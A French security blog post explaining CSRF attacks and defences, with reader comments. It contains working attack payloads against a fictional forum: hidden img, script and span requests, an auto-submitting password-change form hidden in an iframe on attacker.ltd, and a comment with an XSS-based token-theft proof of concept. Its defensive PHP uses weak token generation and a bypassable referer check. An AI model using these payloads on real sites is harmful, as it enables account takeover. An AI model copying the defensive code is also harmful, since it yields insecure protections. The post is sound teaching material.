Vendredi le 7 août 2009 à 07:36

Se protéger contre les attaques CSRF Injection

Par Mohammed CHERIFI

CSRF Injection (Cross Site Request Forgeries) est une classe d’attaque propre aux applications WEB qui a toujours existé mais qui reste moins connue! son exploitation par un attaquant malveillant peut avoir des conséquences dramatique sur un système d’information.

Dans ce billet, je vais vous expliquer ce que c’est une attaque de type CSRF Injection, avec des exemples d’exploitation illustrés ainsi que des mesures de protection qui peuvent être implémentés.

CSRF c’est quoi?

Une attaque CSRF se repose sur l’exploitation de la confiance d’une application WEB vis à vis ses clients, l’objectif de cette dernière est de forcer le navigateur à envoyer une requête « forgée » à l’insu d’un internaute connecté à son compte avec les privilèges de ce dernier, autrement dit : « Je n’ai pas les droits pour faire une action, je m’arrange alors pour que l’utilisateur ayant les privilèges nécessaires la fasse à ma place (sans qu’il soit au courant bien entendu) ».

Ce type d’attaque n’est pas difficile à mettre en œuvre, il peut être mené par n’importe qui par un simple lien ou script caché dans un email ou une page WEB, on suivant le lien contrefait le navigateur de la victime exécutera le code avec les permissions qu’a ce dernier sur le site vulnérable (forum, blog, espace membre..).

Quelques exemples d’exploitation:

Pour illustrer la facilité de la mise en œuvre d’une attaque CSRF avec des exemples concrets: Je vais prendre l’exemple d’un forum qui n’as pas pensé à se protéger contre ce type de faille, son administrateur connecté à son espace admin visite une page contenant l’un de ces codes :

Exemple avec des requêtes GET

Suppression de tous les topics d’un forum

<img src="http://www.victime.ltd/forum/admin/delete.php?msg=all" alt="" width="0" height="0" />

Suppression d’un utilisateur :

<script src="http://www.victime.ltd/forum/admin/deleteuser.php?username=toto" type="text/javascript"></script>

Donner les drois d’administrateur à l’utilisateur haxor

<span style="background:url(http://www.victime.ltd/forum/admin/addadmin.php?username=haxor">Hello master</span>

Comment ça marche?

Lorsque l’administrateur du forum visite une page contenant l’un de ces codes, son navigateur va essayer de charger l’image se trouvant à l’adresse indiquée par la balise « <img> » sans se douter que ce n’est pas une image. Le serveur du forum va donc exécuter la page et supprimer tous les messages en croyant que c’est l’administrateur qui a demandé la suppression!

On partant sur le même principe le deuxième et troisième exemples illustrent l’utilisation des balises HTML avec différents attributs où le but est toujours de forcer le navigateur à appeler une page web du site victime via une requête HTTP de type GET, cette page sera interprétée par le serveur ce qui mènera à des actions non désirés par le client possédant des droits privilégiés!

Exemple avec une requête POST

On suppose que sur notre forum nous avons un formulaire de modification de mot de passe et qu’on souhaite forger une requête HTTP de type POST pour forcer le navigateur à poster les données afin de modifier le mot de passe du client (toujours à son insu bien entendu).

voici à quoi le code du formulaire peut ressembler

<form action="/user/changepasswd.php" method="post">
Entrez votre nouveau mot de passe :
<input type="hidden" name="new_password" value="" />
Confirmer le nouveau mot de passe :
<input type="hidden" name="new_password_confirm" value="" />
<input type="submit" value="Enregistrer les modification" />
</form>

L’objectif est d’effectuer une requête HTTP de type POST vers la page changepasswd.php avec les champs new_password et new_password_confirm pré-remplis, avec le nouveau passe souhaité par l’attaquant, pour cela un attaquant peut procéder ainsi :

  1. Création d’une première page qui contient le formulaire pré-remplis avec comme « action » l’url du site victime
  2. Mettre en place un code javascript pour soumettre le formulaire au chargement de la page
  3. Créer une deuxième page pour cacher la première dans un <iframe> afin de cacher ce qui se passe derrière ;)

D’où le code de la première page (on la nome csrfpost.html) est :

<script type="text/javascript">
window.onload = function(){
document.getElementById("csrf_form").submit();
}
</script>
<form id="csrf_form" action="http://www.victime.ltd/user/changepasswd.php" method="post">
<input type="hidden" name="new_password" value="pwn3d" />
<input type="hidden" name="new_password_confirm" value="pwn3d" />
</form>

Le code de la deuxième page devrai contenir un <iframe> caché avec d’éventuel contenu pour que la victime ne se doute pas!

Hello master
<iframe src="http://attacker.ltd/csrfpost.html" width="1" height="1" style="display:none;"></iframe>

De cette manière l’iframe appelera la page csrfpost.html qui postera la requête post forgée vers la page http://www.victime.ltd/user/changepasswd.php et qui de son tour sera exécuté par le serveur du site vulnerable, et le password sera modifié par un nouveau ( « pwn3d » dans notre cas)!

Faites gaffe alors lorsqu’on vous incitent, à visiter un lien quelconque, et si jamais vous avez suivis un lien et que le contenu de la page ne vous dit rien; examinez le code source! il y a de forte possibilités qu’il s’agit d’une attaque CSRF.

Comment se protéger ?

Il est assez difficile de détecter une attaque CSRF même en utilisant un antivirus ou un firewall, alors là l’antivirus c’est vous! L’objectif est d’empêcher le navigateur à effectuer des recettes à l’insu du client ou sans accord préalable de ce dernier.
Pour cela voici des mesures à prendre en compte :

  • Ne pas suivre les liens suspects
  • Ne pas sauvegarder vos identifiants dans votre navigateur
  • Toujours se déconnecter à la fin d’utilisation de vos comptes
  • Utilisez un deuxième navigateur pour les sites suspects
  • Désactiver l’interprétation du code HTML dans vos client WEBMail

Comment sécuriser son code?

Si vous êtes développeur, voici quelques bonnes pratiques à implémenter dans vos codes:

  • Toujours utiliser des pages de confirmation et demander la validation du client avant toute action critique
  • Utiliser des jetons de sécurité (tokenid) dans tous vos pages sensibles (voir l’exemple)
  • Vérifier l’URL de provenance (HTTP_REFERER) pour prévenir des requêtes POST forgées (voir l’ exemple)

Utiliser des jetons:

L’utilisation d’un jeton de sécurité est primordiale pour une application qui se respecte, personnellement je trouve que c’est la meilleure solution pour se protéger contre les attaques CSRF!

Pour les requêtes HTTP de type GET:

On deverai avoir 2 pages, une page de confirmation qui servira à la génération d’une clé aléatoire (jeton) et la stocker dans une variable de session, ainsi tous les liens qui servent d’effectuer des actions sensibles porteront ce jeton dans une variable GET, le contenu de cette variable sera vérifié dans la deuxième page qui exécute l’action.

Exemple de page de confirmation avec une requête GET :

<?php
session_start();
// on génere une clé aléatoire de 32 caractères et on la met dans notre variable de session
$_SESSION['tokenid'] = str_shuffle(md5(microtime(true)));
?>
Etes vous sûre de vouloir supprimer l'utilisateur toto ??
<a href="supprimer_utilisateur.php?username=toto&amp;amp;tokenid=<?php echo $_SESSION['tokenid'] ?>">Supprimer</a>
<a href="javascript:history.back();">Annuler</a>

Dans la page supprimer_utilisateur.php

<?php
session_start();
// on verifie la clé de securité avant de procéder au traitement
if(!empty($_GET['tokenid']) &amp;amp;&amp;amp; $_GET['tokenid'] == $_SESSION['tokenid']){
// on détruit la session ne pas la réutiliser par un utilisateur malveillant
unset($_SESSION['tokenid']);
// on efféctue le traitement
}
else{
die("Votre session a expirée");
}
?>

Pour les requêtes HTTP de type POST

Quant aux requêtes HTTP de type POST c’est toujours le même principe que pour GET sauf qu’au lieu de passer le jeton en paramètre dans le lien on le mets dans un champs caché de type « hidden ».

On reprends l’exemple mentionné en haut mais cette fois-ci securisé =)

<?php
session_start();
$_SESSION['tokenid'] = str_shuffle(md5(microtime(true)));
?>
<form action="/user/changepasswd.php" method="post">
Entrez votre nouveau mot de passe :
<input type="hidden" name="new_password" value="" />
Confirmer le nouveau mot de passe :
<input type="hidden" name="new_password_confirm" value="" />
<input type="submit" value="Enregistrer les modification" />
<input type="hidden" name="tokenid" value="<?php echo $_SESSION['tokenid'] ?>" />
</form>

Et dans le fichier changepasswd.php

<?php
session_start();
// on verifie la clé de securité avant de procéder au traitement
if(!empty($_POST['tokenid'])  &amp;amp;&amp;amp; $_POST['tokenid'] == $_SESSION['tokenid']){
// on détruit la session pour ne pas la réutiliser par un utilisateur malveillant
unset($_SESSION['tokenid']);
// on efféctue le traitement
}
else{
die("Votre session a expirée");
}
?>

Ne faite jamais confiance à aucune données récupéré coté client tant que le filtrage n’as pas été approuvé =)

Vérification de l’url de provenance :

La vérification de l’url de provenance vous aidera à mieux vous protéger contre les CSRF avec des requêtes POST comme dans l’exemple expliqué en haut, ce n’est pas une protection sûre et peut être contourné si l’attaque provient du même site, mais ça permet comme même d’éviter plusieurs ennuits ;)

Bref, il suffit de placer le code suivant dans les fichiers qui effectuent des actions sensibles (changement de mot de passe, suppression de données, etc..)

if (!empty($_SERVER['HTTP_REFERER'])){
if (!ereg($_SERVER['HTTP_HOST'], $_SERVER['HTTP_REFERER'])){
die("Vous ne pouvez pas venir ici!");
}
}
else{
die("Referer introuvable");
}

Conclusion

La faille CSRF Injection reste parmi les classes d’attaques les plus dangereuses sur le WEB vu son exploitation instantanée et les importants dégâts qu’elle peut engendrer! Je détaillerai dans un prochain billet l’exploitation avancée de cette dernière ;)

Je rappelle que des gros sites ont étaient victimes de ce type t’attaque, je cites: Gmail, MySpace, Windows Live Mail, Skyrock, Dynadot et bien d’autres .. sinon j’espère que ce tuto vous a été utile et vous a appris de nouvelles notions ;)

Allez, bonne journée à tous!

session_start();

// on verifie la clé de securité avant de procéder au traitement

if(!empty($_GET['uniqid']) & $_GET['uniqid'] == $_SESSION['tokenid']){

// on efféctue le traitement

}

else{

die(« Votre session a expirée »);

}

?>[

Partager cet article:
  • Twitter
  • Facebook
  • Google Bookmarks
  • del.icio.us
  • Netvibes
  • viadeo FR
  • Digg
  • LinkedIn
  • Slashdot
  • Sphinn
  • Mixx
  • Blogplay
  • Identi.ca
  • Print
  • Ping.fm
  • email
  • Posterous
  • Reddit
  • Yahoo! Buzz
  • PDF
  • RSS
  • Diigo
  • Fark
  • Blogosphere News
  • blogtercimlap
Tags :, , ,

Articles similaires

  • No Related Post

10 Commentaires to Se protéger contre les attaques CSRF Injection

Avatar

Updel

août 7th, 2009 at 12 h 29 min

Je me rappelle avoir déjà vécu ça avec le BBcode, seulement je ne connaissais pas le fonctionnement de cet exploit, j’ai longtemps cru que les navigateurs ne pouvaient pas exécuter des codes à partir des balises de types img ou span gracieuse info merci.

La question qui me vient à l’esprit c’est :
Est-ce possible de cassé cette sécurité si on contourne le referer et on explode le tockin, qui sait ??!! un ordinateur sécurisé est un ordinateur éteint

Avatar

Updel

août 7th, 2009 at 13 h 07 min

Si on appelle la page de confirmation on va créer le tockin, donc si on le récupère on peut facilement ajouter un nouveau champ à la form.

Et si on inverser les choses :
Par exemple dans notre page de confirmation on défini un referer genre « JeSuisUnRefererQuiNexistePas.Je.Taime.Simo » et lors de l’opération on vérifi si c’est bien le referer

if (isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] == ‘JeSuisUnRefererQuiNexistePas.Je.Taime.Simo’) {
// on efféctue le traitement
}
else {
//die(« Vous ne pouvez pas venir ici! »);
}

C’est banal comme solution :D je sais

Avatar

Mohammed CHERIFI

août 7th, 2009 at 14 h 11 min

@Updel
Il ne faut pas oublié que toute l’opération se déroule sur la machine du client, et non pas celle de l’attaquant, ça veux dire à la visite de la page de confirmation le tokenid est généré est attribué à une variable de session $_SESSION['tokenid'], ce dérnier est vérifié dans la deuxième page qui check à son tour le referer pour s’assurer que le visiteur provient du même site!

Même si on arrive à modifier le referer on ne pourra pas forgé la requête puisque le tokenid est stocké dans un cookie sur la machine du client

A ma connaissance,Il est possible de contourner les deux protection dans un seul cas: si l’attaquant posséde une faille XSS sur le même site!

voici un proof of concept en javascript pour injecter un code qui permetera de récuperer le tokenid depuis la page de confirmation puis forger une deuxième requête pour modifier le passe:

if(window.XMLHttpRequest)
xhr_object = new XMLHttpRequest();
else if(window.ActiveXObject)
xhr_object = new ActiveXObject(« Microsoft.XMLHTTP » );
// on appelle la page de confirmation
xhr_object.open(« GET », « change_password_confirm.php », false);
xhr_object.send(null);

if(xhr_object.readyState == 4) {
// on récupere le tokenid depuis le champs caché tokenid
if(tokenidparts = xhr_object.responseText.match(/name= »tokenid » value= »([0-9a-f]{32}) »/i)){
dumped_tokenid = tokenidparts[1]
//On forge une dexuieme requête pour modifier le passe du client
postdata = « new_password=pwn3d&new_password_confirm=pwn3d&tokenid= »+dumped_tokenid ;
xhr_object.open(« POST », « /user/change_password.html », false);
xhr_object.send(postdata);
// et voilà le passe est changé ;)
}
};

Donc, comme j’ai dit faut être vigilant et ne pas faire confiance au données récuperé par le client! bien parser toute chaine de caractère avant de l’afficher pour éviter les XSS, pour info le worm « samy » qui a infecté des milliers de page sur myspace été le resultat d’une combinaison d’une XSS avec une CSRF!

Avatar

reda

août 7th, 2009 at 15 h 05 min

Very nice thing ; Will help lot to avoid attacks

Avatar

Rimka

août 7th, 2009 at 23 h 06 min

j’ai bien aimé l’explication, merci bcp.

Avatar

Sirius34

août 21st, 2009 at 17 h 33 min

Avatar

zak

septembre 9th, 2009 at 10 h 14 min

Bnjr,
d’après ce billet ce genre d’attacks est est inclue dans le code html (entre les balises ) la question qui se pose c’est comment ce code mal veillant arrivera sur la page tant que l’administrateur ou le développeur ne l’a pas intégrer lui même…

Avatar

Mohammed CHERIFI

septembre 12th, 2009 at 17 h 56 min

@zak, ce n’est pas l’administrateur qui « intègre » le code malveillant dans ses pages, la page X sur le site A(attaquant) contenant le code malveillant est crée par l’attaquant, ce dernier amène l’administrateur du site (B) à la visiter, une fois c’est fait, le code présent sur la page X sera exécuté avec les droits dont ce dernier possède

Avatar

Iss4m

septembre 14th, 2009 at 4 h 23 min

merci bcp Simo :)

Avatar

El King Zizou

mai 21st, 2010 at 0 h 20 min

trés bonne explication j’aimerai bien voir des autres articles des attaques sur le web :)
alert(‘i’m hacking u ‘); :p

Réagissez à ce billet

Categories

Derniers commentaires

  • Victor: Roseny : Pour avoir les mois en Français voici mon code : $dateWidget = new sfWidgetFormI18nDate(array(...
  • abdessamad: Salam, Salutation pour cet article, N.B :  » Un md5 est une chaine de caractère en hexadécimal...
  • 0x1337: Nice tuto bien structuré et synthétisé ! La question qui se pose est ce un attaquant peut faire un Privilege...
  • Roseny: Bonjour, comment fais-t’on pour mettre les mois en français?
  • Laurent: Bonjour Mohammed et merci pour ce tuto. Que faut-il modifier pour que le champ date soit en un seul bloc au...
  • Stack: dommage que le co.ma était hacké aussi
  • Technologix: Très bon article, gg ;)
  • Wail: très bien expliqué mon khoya, génial
  • UpDeL: Respect !
  • El King Zizou: trés bonne explication j’aimerai bien voir des autres articles des attaques sur le web :)...

Flickr PhotoStream

  • Au dessus des montagnes
  • Nuages
  • Insolite hopital marocain
  • Plage bouznika
  • Maroc Blog awars with vladimire
  • Linux Party 2010 - EMI (Maroc)
  • Mawazine 2008
  • Essaouira
  • Rabat Ville with baba mimoun
  • Fucking CowBoyz
  • Essaouira 2009 - En attente de l'arrivé du cheb khaled!
  • Linux Install party Mohammadia

Twitter Feed


Warning: fread() [function.fread]: Length parameter must be greater than 0 in /homepages/44/d193174039/htdocs/mcherifi/wp-content/plugins/wordpress-twitter/BiBTweets.php on line 199
  • mcherifi: Underground Parking System http://bit.ly/aI440T original! le 27 Jul 2010 10:58
  • mcherifi: @halflings un moment j'ai pensé qu'il s'agit d'une erreur, c'est en lisant bien que j'ai compris que ya aussi #freelansing lol le 27 Jul 2010 10:38 en réponse à halflings
  • mcherifi: Comment réaliser sa première photographie en freelensing? http://bit.ly/daZewv le 27 Jul 2010 09:45
  • mcherifi: Une nouvelle loi vient d’être adoptée en #Tunisie , elle intérdit les fessées données aux enfants! Qu'allez vous faire si c'était au #Maroc ? le 26 Jul 2010 16:57
  • mcherifi: Faut-il suivre ses passions ou s’orienter vers du lucratif ? http://bit.ly/99Nsiu le 26 Jul 2010 16:30
  • mcherifi: Safari v4 & v5 critical vulnerability in the AutoFill feature http://bit.ly/9yVKco #safari #security #autofill le 26 Jul 2010 14:41
  • mcherifi: RT: @agharass : Est ce que vous avez un compte http://meme.yahoo.com ? Plz RT le 24 Jul 2010 21:20
  • mcherifi: @A_T_J pas encore mon ami, la soirée vient à peine de commencer ;) ce n'est pas qu'on tweetant pas qu'on dors :P le 24 Jul 2010 03:06 en réponse à A_T_J
  • mcherifi: Trop drôle! Insultes de développeurs http://ping.fm/SKdvT #fordeveloppersonly le 20 Jul 2010 09:02
  • mcherifi: Si vous aimez les pentests voici un ISO pour s'entrainer avec l'OS le plus vulnérable au monde http://ping.fm/a5rKi #damnvulnerablelinux le 20 Jul 2010 08:58
  • mcherifi: Oulah! c'est mon 1000 tweet, Happy day à tous! le 20 Jul 2010 08:56
  • mcherifi: Frameworks PHP: Symfony vs CodeIgniter http://ping.fm/MnLvy le 14 Jul 2010 15:42
  • mcherifi: D'ici fin juillet, l'enveloppe annuelle de la compensation sera déjà épuisée ! Que va faire l'Etat ? http://ping.fm/t2ym2 le 14 Jul 2010 14:00
  • mcherifi: Real Social Dynamics Nation : Smart people http://ping.fm/g2zfw le 14 Jul 2010 11:26
  • mcherifi: just achieved all WabLab HackMe challenges http://bit.ly/dClKUj Actual Rank: Morocco 1, World 10, waiting for the next contests.. le 11 Jul 2010 16:52
  • mcherifi: le monde est fondé sur des conventions, ce que accepte la majorité est souvent ce qui est adopté même si il est faux! le 11 Jul 2010 10:49
  • mcherifi: Youpii, ma carte son Creative Sound Blaster Live marche à merveille sous Ubuntu Lucid lynx, VIVA LINUX <3 ! le 10 Jul 2010 22:20
  • mcherifi: si vous avez du mal avec les dns google voici une version standalone du chat audio/video dans gmail 3http://ping.fm/S76qv le 06 Jul 2010 15:32